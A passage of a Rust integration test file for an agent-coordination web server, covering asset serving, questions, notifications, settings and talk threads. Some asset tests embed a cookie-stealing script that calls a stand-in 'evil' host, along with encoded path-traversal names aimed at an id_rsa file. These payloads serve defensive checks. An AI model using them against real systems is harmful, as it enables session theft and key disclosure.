7106 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
7107 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
7108
7109 assert_eq!(as_svg.status, 200);
7110 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
7111 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
7116
7117 assert_eq!(as_png.status, 200);
7118 assert_eq!(as_png.header("content-type"), Some("image/png"));
7119 assert_eq!(
7120 as_png.header("content-disposition"),
7121 None,
7122 "a raster image has no execution surface, so tapping it still shows it"
7123 );
7124 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
7125 }
7126
7127 #[tokio::test]
7128 async fn an_html_asset_is_never_served_as_html() {
7129 let fx = Fixture::start().await;
7130 let id = panel(
7131 &fx,
7132 "<p>see the notes</p>",
7133 &[
7134 (
7135 "notes.html",
7136 b"<script>fetch('http://evil/'+document.cookie)</script>",
7137 ),
7138 ("hook.js", b"fetch('http://evil/')"),
7139 ("data.json", b"{}"),
7140 ("HEADLINE.TXT", b"plain"),
7141 ],
7142 );
7143
7144 for name in ["notes.html", "hook.js", "data.json"] {
7145 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
7146 assert_eq!(res.status, 200, "{name}: {}", res.body);
7147 assert_eq!(
7152 res.header("content-type"),
7153 Some("application/octet-stream"),
7154 "{name} must not be a type the browser will execute or render"
7155 );
7156 }
7157 let txt = fx
7160 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
7161 .await;
7162 assert_eq!(
7163 txt.header("content-type"),
7164 Some("text/plain; charset=utf-8")
7165 );
7166 }
7167
7168 #[tokio::test]
7169 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
7170 let fx = Fixture::start().await;
7171 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
7172 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
7176
7177 for encoded in [
7184 "%2e%2e%2fid_rsa",
7185 "..%2fid_rsa",
7186 "..%5cid_rsa",
7187 "%2e%2e%5cid_rsa",
7188 "diff%00.svg",
7189 "..",
7190 ".hidden",
7191 "%2e%2e%2f%2e%2e%2fid_rsa",
7192 ] {
7193 let res = fx
7194 .get(&format!("/api/questions/{id}/asset/{encoded}"))
7195 .await;
7196 assert_eq!(
7197 res.status, 400,
7198 "`{encoded}` has to be refused by name, not looked up: {}",
7199 res.body
7200 );
7201 assert!(res.json()["error"].is_string(), "{}", res.body);
7202 }
7203
7204 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
7210 let res = fx
7211 .get(&format!("/api/questions/{id}/asset/{literal}"))
7212 .await;
7213 assert_eq!(
7214 res.status, 404,
7215 "`{literal}` must not match the asset route at all: {}",
7216 res.body
7217 );
7218 }
7219 }
7220
7221 #[tokio::test]
7222 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
7223 let fx = Fixture::start().await;
7224 let plain = ask(&fx, "Which backend?", &["SQLite"]);
7225 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
7226
7227 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
7231 assert_eq!(none.status, 404, "{}", none.body);
7232 assert!(none.json()["error"].is_string(), "{}", none.body);
7233 assert_eq!(
7234 fx.head(&format!("/api/questions/{plain}/panel"))
7235 .await
7236 .status,
7237 404,
7238 "the preflight is the only way the client can learn this"
7239 );
7240
7241 let missing = fx
7243 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
7244 .await;
7245 assert_eq!(missing.status, 404, "{}", missing.body);
7246 assert!(missing.json()["error"].is_string(), "{}", missing.body);
7247
7248 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
7250 assert_eq!(
7251 fx.get("/api/questions/nope/asset/diff.svg").await.status,
7252 404
7253 );
7254 }
7255
7256 #[tokio::test]
7257 async fn a_run_with_an_open_question_reads_as_waiting() {
7258 let fx = Fixture::start().await;
7259 let run = "20260902-000000-beef".to_owned();
7260 write_run(&fx.runs(), &run, RunStatus::Implementing);
7261
7262 let before = fx.get("/api/runs").await.json();
7263 assert_eq!(before[0]["waiting"], false, "{before}");
7264
7265 let store = fx.questions();
7266 let mut q = Question::new(
7267 run.clone(),
7268 "implement".to_owned(),
7269 "impl-A".to_owned(),
7270 "Which backend?".to_owned(),
7271 String::new(),
7272 vec!["SQLite".to_owned()],
7273 );
7274 store.put(&mut q).expect("put");
7275
7276 let during = fx.get("/api/runs").await.json();
7277 assert_eq!(during[0]["waiting"], true, "{during}");
7278
7279 q.answer(Answer::Choice("SQLite".to_owned()))
7282 .expect("answer");
7283 store.put(&mut q).expect("put");
7284 let after = fx.get("/api/runs").await.json();
7285 assert_eq!(after[0]["waiting"], false, "{after}");
7286 }
7287
7288 #[tokio::test]
7289 async fn an_open_question_is_listed_and_counted_by_health() {
7290 let fx = Fixture::start().await;
7291 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
7292
7293 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7294 let listed = fx.get("/api/questions").await.json();
7295 assert_eq!(listed.as_array().expect("array").len(), 1);
7296 assert_eq!(listed[0]["id"], id);
7297 assert_eq!(listed[0]["status"], "open");
7298 assert_eq!(listed[0]["choices"][1], "Redis");
7299 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7302 }
7303
7304 #[tokio::test]
7305 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
7306 let fx = Fixture::start().await;
7307 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7308 let path = format!("/api/questions/{id}/answer");
7309
7310 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
7311 assert_eq!(res.status, 200, "{}", res.body);
7312 let body = res.json();
7313 assert_eq!(body["status"], "answered");
7314 assert_eq!(body["answer"]["choice"], "Redis");
7315
7316 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
7320 assert_eq!(again.status, 409, "{}", again.body);
7321 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
7322 }
7323
7324 #[tokio::test]
7325 async fn saying_something_appends_a_turn_without_answering() {
7326 let fx = Fixture::start().await;
7327 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7328 let path = format!("/api/questions/{id}/say");
7329
7330 let res = fx
7331 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
7332 .await;
7333 assert_eq!(res.status, 200, "{}", res.body);
7334 let body = res.json();
7335 assert_eq!(body["status"], "open", "talking back is not a decision");
7336 assert_eq!(body["answer"], Value::Null);
7337 assert_eq!(body["thread"][0]["who"], "operator");
7338 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
7339 assert_eq!(body["waiting_on_agent"], true);
7340 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7342 }
7343
7344 #[tokio::test]
7345 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
7346 let fx = Fixture::start().await;
7347 let store = fx.questions();
7348 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7349 assert_eq!(
7350 fx.get("/api/health").await.json()["questions_needs_owner"],
7351 1
7352 );
7353
7354 let res = fx
7360 .post(
7361 &format!("/api/questions/{id}/say"),
7362 Some(r#"{"body":"why not Postgres?"}"#),
7363 )
7364 .await;
7365 assert_eq!(res.status, 200, "{}", res.body);
7366 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7367 assert_eq!(
7368 fx.get("/api/health").await.json()["questions_needs_owner"],
7369 0,
7370 "waiting on the agent is not waiting on the owner"
7371 );
7372
7373 let mut q = store.get(&id).expect("get");
7377 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
7378 .expect("reply");
7379 store.put(&mut q).expect("put");
7380 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7381 assert_eq!(
7382 fx.get("/api/health").await.json()["questions_needs_owner"],
7383 1,
7384 "the agent's reply is what should light the banner back up"
7385 );
7386 }
7387
7388 #[tokio::test]
7389 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
7390 let fx = Fixture::start().await;
7391 let store = fx.questions();
7392
7393 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7394 let res = fx
7395 .post(
7396 &format!("/api/questions/{empty_id}/say"),
7397 Some(r#"{"body":" "}"#),
7398 )
7399 .await;
7400 assert_eq!(res.status, 400, "{}", res.body);
7401
7402 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7403 let mut answered = store.get(&answered_id).expect("get");
7404 answered
7405 .answer(Answer::Choice("SQLite".to_owned()))
7406 .expect("answer");
7407 store.put(&mut answered).expect("put");
7408 let res = fx
7409 .post(
7410 &format!("/api/questions/{answered_id}/say"),
7411 Some(r#"{"body":"still there?"}"#),
7412 )
7413 .await;
7414 assert_eq!(res.status, 409, "{}", res.body);
7415
7416 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7417 let mut abandoned = store.get(&abandoned_id).expect("get");
7418 abandoned.abandon("timed out");
7419 store.put(&mut abandoned).expect("put");
7420 let res = fx
7421 .post(
7422 &format!("/api/questions/{abandoned_id}/say"),
7423 Some(r#"{"body":"still there?"}"#),
7424 )
7425 .await;
7426 assert_eq!(res.status, 409, "{}", res.body);
7427 }
7428
7429 #[tokio::test]
7430 async fn an_answer_the_question_does_not_offer_is_refused() {
7431 let fx = Fixture::start().await;
7432 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7433 let path = format!("/api/questions/{id}/answer");
7434
7435 for body in [
7436 r#"{"choice":"Postgres"}"#,
7437 r#"{"text":"whatever you think"}"#,
7438 r#"{"choice":"Redis","text":"both"}"#,
7439 r#"{}"#,
7440 ] {
7441 let res = fx.post(&path, Some(body)).await;
7442 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
7443 assert!(res.json()["error"].is_string(), "{}", res.body);
7444 }
7445 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7447 }
7448
7449 #[tokio::test]
7450 async fn a_free_text_question_takes_text_and_not_a_choice() {
7451 let fx = Fixture::start().await;
7452 let id = ask(&fx, "What should the flag be called?", &[]);
7453 let path = format!("/api/questions/{id}/answer");
7454
7455 assert_eq!(
7456 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
7457 400
7458 );
7459 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
7460 assert_eq!(res.status, 200, "{}", res.body);
7461 assert_eq!(res.json()["answer"]["text"], "--json");
7462 }
7463
7464 #[tokio::test]
7465 async fn an_unknown_question_is_a_json_404() {
7466 let fx = Fixture::start().await;
7467 let res = fx
7468 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
7469 .await;
7470 assert_eq!(res.status, 404, "{}", res.body);
7471 assert!(res.json()["error"].is_string());
7472 }
7473
7474 #[tokio::test]
7475 async fn notifications_list_read_dismiss_and_health_agree() {
7476 let fx = Fixture::start().await;
7477 let store = Notices::at(fx.home.path().join("notifications"));
7478 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
7479 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
7480
7481 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
7482 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
7483
7484 let health = fx.get("/api/health").await.json();
7485 assert_eq!(health["notifications_unread"], 2);
7486 assert_ne!(
7487 health["notifications_rev"], rev0,
7488 "the badge must move live"
7489 );
7490
7491 let listed = fx.get("/api/notifications").await.json();
7492 assert_eq!(listed["unread"], 2);
7493 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
7494 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
7495
7496 let read = fx
7497 .post(&format!("/api/notifications/{}/read", a.id), None)
7498 .await;
7499 assert_eq!(read.status, 200, "{}", read.body);
7500 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
7501
7502 let gone = fx
7503 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
7504 .await;
7505 assert_eq!(gone.status, 200, "{}", gone.body);
7506 let listed = fx.get("/api/notifications").await.json();
7507 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
7508 assert_eq!(listed["unread"], 0);
7509
7510 store.raise(Notice::info("x", "again")).unwrap();
7511 let all = fx.post("/api/notifications/read-all", None).await;
7512 assert_eq!(all.status, 200, "{}", all.body);
7513 assert_eq!(all.json()["marked"], 1);
7514 assert_eq!(
7515 fx.get("/api/health").await.json()["notifications_unread"],
7516 0
7517 );
7518
7519 let missing = fx.post("/api/notifications/nope/read", None).await;
7520 assert_eq!(missing.status, 404, "{}", missing.body);
7521 assert!(missing.json()["error"].is_string());
7522 }
7523
7524 #[tokio::test]
7531 async fn a_task_cannot_be_filed_over_the_phone_directly() {
7532 let f = Fixture::start().await;
7533
7534 let res = f
7535 .post(
7536 "/api/queue",
7537 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
7538 )
7539 .await;
7540
7541 assert_eq!(
7542 res.status, 405,
7543 "POST /api/queue must not be a route: {}",
7544 res.body
7545 );
7546 assert!(
7547 f.queue().list().is_empty(),
7548 "a task filed by a route that does not exist must not reach the disk"
7549 );
7550 assert_eq!(f.get("/api/queue").await.status, 200);
7553 }
7554
7555 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
7557 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
7558 .expect("checkout dir");
7559 }
7560
7561 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
7563
7564 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
7565 let tmp = TempDir::new().expect("tempdir");
7566 let repo = tmp.path().join("repo");
7567 std::fs::create_dir_all(&repo).expect("repo dir");
7568 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
7569 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
7570 if let Some(text) = machine_toml {
7571 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
7572 std::fs::write(&machine, text).expect("machine toml");
7573 }
7574 (tmp, repo, machine)
7575 }
7576
7577 #[tokio::test]
7578 async fn settings_get_reports_sources_and_the_advisors_fallback() {
7579 let (_tmp, repo, machine) =
7580 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
7581 let f = Fixture::with_repo_and_machine(repo, machine).await;
7582 let res = f.get("/api/settings").await;
7583 assert_eq!(res.status, 200, "{}", res.body);
7584 let v = res.json();
7585 assert!(v["error"].is_null(), "{v}");
7586 let role = |k: &str| {
7587 v["roles"]
7588 .as_array()
7589 .and_then(|r| r.iter().find(|x| x["key"] == k))
7590 .cloned()
7591 .unwrap_or_else(|| panic!("no role {k}: {v}"))
7592 };
7593 assert_eq!(role("judges")["source"], "machine");
7594 assert_eq!(role("judges")["editable"], true);
7595 assert_eq!(role("implementers")["source"], "default");
7596 let adv = role("advisors");
7597 assert_eq!(adv["fallback"], "judges");
7598 assert!(
7599 adv["seats"]
7600 .as_array()
7601 .is_some_and(|s| s.iter().all(|x| x == "b")),
7602 "{adv}"
7603 );
7604 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
7605 assert_eq!(v["agents"][0]["source"], "repo");
7606 }
7607
7608 #[tokio::test]
7609 async fn settings_get_reports_a_config_that_does_not_parse() {
7610 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
7611 let f = Fixture::with_repo_and_machine(repo, machine).await;
7612 let res = f.get("/api/settings").await;
7613 assert_eq!(res.status, 200, "{}", res.body);
7614 let v = res.json();
7615 assert!(v["error"]["message"].is_string(), "{v}");
7616 assert!(
7617 v["error"]["path"]
7618 .as_str()
7619 .is_some_and(|p| p.ends_with("magi.toml")),
7620 "{v}"
7621 );
7622 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
7623 }
7624
7625 #[tokio::test]
7626 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
7627 let (_tmp, repo, machine) = settings_dirs(
7628 SETTINGS_AGENTS,
7629 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
7630 );
7631 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
7632 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
7633 let rev = f.get("/api/settings").await.json()["revision"]
7634 .as_str()
7635 .expect("revision")
7636 .to_owned();
7637 let body = serde_json::json!({
7638 "revision": rev,
7639 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
7640 })
7641 .to_string();
7642 let res = f.put("/api/settings/roles", &body).await;
7643 assert_eq!(res.status, 200, "{}", res.body);
7644 let text = std::fs::read_to_string(&machine).expect("machine");
7645 assert_eq!(
7646 text,
7647 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
7648 );
7649 assert_eq!(
7650 std::fs::read(repo.join("magi.toml")).expect("read"),
7651 repo_before
7652 );
7653 let again = f.get("/api/settings").await.json();
7654 let judges = again["roles"]
7655 .as_array()
7656 .expect("roles")
7657 .iter()
7658 .find(|r| r["key"] == "judges")
7659 .expect("judges")
7660 .clone();
7661 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
7662 let stale = f.put("/api/settings/roles", &body).await;
7664 assert_eq!(stale.status, 409, "{}", stale.body);
7665 }
7666
7667 #[tokio::test]
7668 async fn settings_put_refuses_without_touching_the_file() {
7669 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
7670 let (_tmp, repo, machine) = settings_dirs(
7671 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
7672 Some(machine_text),
7673 );
7674 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
7675 let rev = f.get("/api/settings").await.json()["revision"]
7676 .as_str()
7677 .expect("revision")
7678 .to_owned();
7679 for roles in [
7680 serde_json::json!({ "judges": ["nope"] }),
7681 serde_json::json!({ "reviewers": ["b"] }),
7682 serde_json::json!({ "bogus": ["a"] }),
7683 ] {
7684 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
7685 let res = f.put("/api/settings/roles", &body).await;
7686 assert_eq!(res.status, 422, "{roles}: {}", res.body);
7687 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
7688 assert_eq!(
7689 std::fs::read_to_string(&machine).expect("machine"),
7690 machine_text
7691 );
7692 }
7693 }
7694
7695 #[tokio::test]
7696 async fn repos_list_returns_name_and_path_for_every_configured_root() {
7697 let tmp = TempDir::new().expect("tempdir");
7698 let repo = tmp.path().join("repo");
7699 std::fs::create_dir_all(&repo).expect("repo dir");
7700 let root = tmp.path().join("root");
7701 make_checkout(&root, "github.com", "yukimemi", "magi");
7702 std::fs::write(
7703 repo.join("magi.toml"),
7704 format!(
7705 "[repos]\nroots = [{:?}]\n",
7706 root.to_string_lossy().into_owned()
7707 ),
7708 )
7709 .expect("write magi.toml");
7710
7711 let f = Fixture::with_repo(repo).await;
7712 let res = f.get("/api/repos").await;
7713 assert_eq!(res.status, 200, "{}", res.body);
7714 let list = res.json();
7715 let repos = list.as_array().expect("an array");
7716 assert_eq!(repos.len(), 1);
7717 assert_eq!(repos[0]["name"], "yukimemi/magi");
7718 assert!(
7719 repos[0]["path"]
7720 .as_str()
7721 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
7722 "{list}"
7723 );
7724 }
7725
7726 #[tokio::test]
7727 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
7728 let tmp = TempDir::new().expect("tempdir");
7729 let repo = tmp.path().join("repo");
7730 std::fs::create_dir_all(&repo).expect("repo dir");
7731 let root = tmp.path().join("root");
7732 make_checkout(&root, "github.com", "yukimemi", "magi");
7733 std::fs::write(
7734 repo.join("magi.toml"),
7735 format!(
7736 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
7737 root.to_string_lossy().into_owned()
7738 ),
7739 )
7740 .expect("write magi.toml");
7741
7742 let f = Fixture::with_repo(repo).await;
7743 let first = f.get("/api/repos").await;
7744 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
7745
7746 make_checkout(&root, "github.com", "yukimemi", "rvpm");
7749 let second = f.get("/api/repos").await;
7750 assert_eq!(
7751 second.json().as_array().map(Vec::len),
7752 Some(1),
7753 "a fresh cache must not rescan inside the TTL"
7754 );
7755
7756 let refreshed = f.get("/api/repos?refresh=1").await;
7757 assert_eq!(
7758 refreshed.json().as_array().map(Vec::len),
7759 Some(2),
7760 "an explicit refresh must rescan even inside the TTL"
7761 );
7762 }
7763
7764 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
7770
7771 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
7775 let tmp = TempDir::new().expect("tempdir");
7776 let repo = tmp.path().join("repo");
7777 std::fs::create_dir_all(&repo).expect("repo dir");
7778 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
7779 let f = Fixture::with_repo(repo.clone()).await;
7780 (tmp, repo, f)
7781 }
7782
7783 #[tokio::test]
7784 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
7785 let (_tmp, _repo, f) = talk_fixture().await;
7786
7787 let opened = f.post("/api/talks", None).await;
7790 assert_eq!(opened.status, 201, "{}", opened.body);
7791 let body = opened.json();
7792 assert_eq!(body["status"], "open");
7793 assert_eq!(
7794 body["turns"].as_array().unwrap().len(),
7795 0,
7796 "opening takes no agent turn: there is nothing yet to answer"
7797 );
7798
7799 let also_opened = f.post("/api/talks", Some("{}")).await;
7801 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
7802
7803 let listed = f.get("/api/talks").await.json();
7804 assert_eq!(listed.as_array().unwrap().len(), 2);
7805 }
7806
7807 #[tokio::test]
7808 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
7809 let tmp = TempDir::new().expect("tempdir");
7810 let repo = tmp.path().join("repo");
7811 std::fs::create_dir_all(&repo).expect("repo dir");
7812 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
7813 std::fs::write(
7814 repo.join("magi.toml"),
7815 format!("{MOCK_AGENT_TOML}\n{second}"),
7816 )
7817 .expect("write magi.toml");
7818 let home = TempDir::new().expect("temp home");
7819 let talks = Talks::at(home.path().join("talks"));
7820 let ui = Arc::new(
7821 Ui::new(
7822 Queue::at(home.path().join("queue")),
7823 Questions::at(home.path().join("questions")),
7824 talks.clone(),
7825 home.path().join("runs"),
7826 home.path().to_path_buf(),
7827 repo.clone(),
7828 )
7829 .with_worktrees_root(home.path().join("wt")),
7830 );
7831 let cfg = config_for(&repo).await.expect("discover config");
7832 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
7833 let id = talk.id.clone();
7834 let call = |agent: &str| {
7835 talk_agent(
7836 State(Arc::clone(&ui)),
7837 Path(id.clone()),
7838 Json(TalkAgent {
7839 agent: agent.to_owned(),
7840 }),
7841 )
7842 };
7843
7844 let unknown = call("nobody").await.expect_err("unknown agent");
7845 assert_eq!(
7846 unknown.status,
7847 StatusCode::BAD_REQUEST,
7848 "{}",
7849 unknown.message
7850 );
7851
7852 {
7853 let mut claimed = None;
7856 for _ in 0..200 {
7857 claimed = ui.begin_talk_turn(&id).expect("claim");
7858 if claimed.is_some() {
7859 break;
7860 }
7861 tokio::time::sleep(Duration::from_millis(10)).await;
7862 }
7863 let _busy = claimed.expect("free");
7864 let busy = call("second").await.expect_err("busy talk");
7865 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
7866 }
7867 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
7868
7869 let Json(view) = call("second").await.expect("switch");
7870 assert_eq!(view.talk.agent, "second");
7871 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
7872 let saved = talks.get(&id).expect("reload");
7873 assert_eq!(saved.agent, "second");
7874 assert_eq!(saved.turns.len(), 1);
7875
7876 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
7877 .await
7878 .expect("detail");
7879 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
7880 assert_eq!(roster, ["mock", "second"]);
7881
7882 let mut closed = talks.get(&id).expect("reload");
7883 talk::close(&mut closed, &talks).expect("close");
7884 let refused = call("mock").await.expect_err("closed talk");
7885 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
7886 }
7887
7888 #[tokio::test]
7889 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
7890 let f = Fixture::start().await;
7891 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
7892 let queue = f.queue();
7893 let mut mine = Task::new(
7894 "rename the loader".to_owned(),
7895 "rename the loader".to_owned(),
7896 PathBuf::from("/repo/magi"),
7897 Source::Agent {
7898 run: talk_id.clone(),
7899 node: "chat".to_owned(),
7900 },
7901 );
7902 queue.put(&mut mine).expect("file the task");
7903 let mut theirs = Task::new(
7904 "unrelated".to_owned(),
7905 "unrelated".to_owned(),
7906 PathBuf::from("/repo/magi"),
7907 Source::Human,
7908 );
7909 queue.put(&mut theirs).expect("file the task");
7910
7911 let res = f.get(&format!("/api/talks/{talk_id}")).await;
7912 assert_eq!(res.status, 200, "{}", res.body);
7913 let body = res.json();
7914 assert_eq!(
7915 body["status"], "open",
7916 "filing a task does not close a talk"
7917 );
7918 let tasks = body["tasks"].as_array().expect("tasks array");
7919 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
7920 assert_eq!(tasks[0]["id"], mine.id);
7921 }
7922
7923 #[tokio::test]
7924 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
7925 let (_tmp, _repo, f) = talk_fixture().await;
7926 let id = f.post("/api/talks", None).await.json()["id"]
7927 .as_str()
7928 .expect("id")
7929 .to_owned();
7930
7931 let res = f
7932 .post(
7933 &format!("/api/talks/{id}/say"),
7934 Some(r#"{"text":"what does the queue module do?"}"#),
7935 )
7936 .await;
7937 assert_eq!(res.status, 202, "{}", res.body);
7938 let queued = res.json();
7939 let turns = queued["turns"].as_array().expect("turns array");
7940 assert_eq!(
7941 turns.len(),
7942 1,
7943 "the answer reflects only what is on disk the instant it is sent, \
7944 before the agent's turn - which can run for the whole of \
7945 `[graph] timeout_talk` - has a chance to land: {queued}"
7946 );
7947 assert_eq!(turns[0]["who"], "operator");
7948 assert_eq!(turns[0]["body"], "what does the queue module do?");
7949 assert_eq!(
7950 queued["thinking"], true,
7951 "the accepted response exposes the background turn claim: {queued}"
7952 );
7953
7954 let mut turns_after = 1;
7955 for _ in 0..SETTLE_STEPS {
7956 let detail = f.get(&format!("/api/talks/{id}")).await.json();
7957 turns_after = detail["turns"].as_array().expect("turns array").len();
7958 if turns_after == 2 {
7959 break;
7960 }
7961 tokio::time::sleep(Duration::from_millis(10)).await;
7962 }
7963 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
7964 }
7965
7966 #[tokio::test]
7993 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
7994 let tmp = TempDir::new().expect("tempdir");
7995 let repo = tmp.path().join("repo");
7996 std::fs::create_dir_all(&repo).expect("repo dir");
7997 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
7998 let home = TempDir::new().expect("temp home");
7999 let talks = Talks::at(home.path().join("talks"));
8000 let ui = Arc::new(
8001 Ui::new(
8002 Queue::at(home.path().join("queue")),
8003 Questions::at(home.path().join("questions")),
8004 talks.clone(),
8005 home.path().join("runs"),
8006 home.path().to_path_buf(),
8007 repo.clone(),
8008 )
8009 .with_worktrees_root(home.path().join("wt")),
8010 );
8011 let cfg = config_for(&repo).await.expect("discover config");
8012
8013 for delay in 0..40u32 {
8014 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
8015 let id = talk.id.clone();
8016
8017 let handler = tokio::spawn(talk_say(
8018 State(Arc::clone(&ui)),
8019 Path(id.clone()),
8020 Ok(Json(NewTalkTurn {
8021 text: "what does the queue module do?".to_owned(),
8022 attachments: Vec::new(),
8023 })),
8024 ));
8025 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
8026 handler.abort();
8027 let _ = handler.await;
8030
8031 let mut turns = 0;
8032 for _ in 0..SETTLE_STEPS {
8033 if let Ok(fresh) = talks.get(&id) {
8034 turns = fresh.turns.len();
8035 if turns != 1 {
8036 break;
8037 }
8038 }
8039 tokio::time::sleep(Duration::from_millis(10)).await;
8040 }
8041 assert_ne!(
8042 turns, 1,
8043 "delay {delay}: talk {id} recorded the operator's turn but \
8044 the agent never answered - the reply task was never \
8045 started after the handler future was dropped"
8046 );
8047 }
8048 }
8049
8050 #[tokio::test]
8095 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
8096 let tmp = TempDir::new().expect("tempdir");
8097 let repo = tmp.path().join("repo");
8098 std::fs::create_dir_all(&repo).expect("repo dir");
8099 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
8100 let home = TempDir::new().expect("temp home");
8101 let talks = Talks::at(home.path().join("talks"));
8102 let ui = Arc::new(
8103 Ui::new(
8104 Queue::at(home.path().join("queue")),
8105 Questions::at(home.path().join("questions")),
8106 talks.clone(),
8107 home.path().join("runs"),
8108 home.path().to_path_buf(),
8109 repo.clone(),
8110 )
8111 .with_worktrees_root(home.path().join("wt")),
8112 );
